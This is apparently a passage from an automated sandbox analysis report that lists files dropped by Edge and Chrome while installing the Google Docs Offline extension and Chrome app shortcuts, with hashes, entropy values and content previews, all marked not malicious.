SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir728_1777356720\f3c650b4-379c-4c51-94f7-f133b593457a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 18:35:01 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9794914518178324
Encrypted:	false
SSDEEP:	48:8q2d/OTfK8RwHjidAKZdA19ehwiZUklqeh1y+3:8quOjFRIyy
MD5:	43A9A3E17785259BCC6B9CD5775FBDF6
SHA1:	A5AF37CE5DE8B24209D066060E376F2656832376
SHA-256:	ED776491789C7E38BA7E7A084E3E8BDFF61B8E67CB67EB953AD99ADF60446A8F
SHA-512:	252B7084E7A82CFFD759FB3C69E4A9725CEA695054CA0FD8645EF86266FDE6703F2683FE769D9F7254AE147A0A794A7E803B5EEDE23FAE9C93DE1EBA5EFD80FF
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......9..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]Y].....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Y].....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Y].....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Y]............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]Ya............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............ .......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 18:35:00 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9958401607530285
Encrypted:	false
SSDEEP:	48:8p2d/OTfK8RwHjidAKZdA1weh/iZUkAQkqehiy+2:8puOjFRC9Qvy
MD5:	85C4850777DBD2E457E1E7131D2A723B
SHA1:	A4AB024351BA548A129CC882FA4A26FAAAD30194
SHA-256:	601272DC8C9B1C2B1EDF38CDA9B0024A048DE584F27F425362097FC55876C36A
SHA-512:	9F6F09146E40636D9D76F3896BD104E7DDFFCFC84824058B7D6D5AF9EE1D0B7604FEF481E88BB9039659F267D9FDAD914D0C8829337A5630A76FA9F773BA83BA
Malicious:	false
Preview:	L..................F.@.. ...$+.,....%u.9..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]Y].....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Y].....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Y].....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Y]............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]Ya............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............ .......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.009275109745599
Encrypted:	false
SSDEEP:	48:8xY2d/OTfK8RsHjidAKZdA14tseh7sFiZUkmgqeh7s8y+BX:8xYuOjFRmney
MD5:	EC973C8D9C92BFCF3191194E222A1CE9
SHA1:	0444C60D28829286C5560018C13F9ABE1B71A267
SHA-256:	0AA7F72038EDCEBBE04A3A7A4B6E0FD20906FCB8CD15AEFFA6B30601C4D952FD
SHA-512:	2FB39F78D541279DD2E331A48D7178D90EFCB6543CD9E09115F059FCD4DCD67699B9F06F9F81D5A4887713375947537B166289F53215A6F3C72EB28A9EA01094
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]Y].....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Y].....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Y].....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Y]............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............ .......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 18:35:00 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9910231788324673
Encrypted:	false
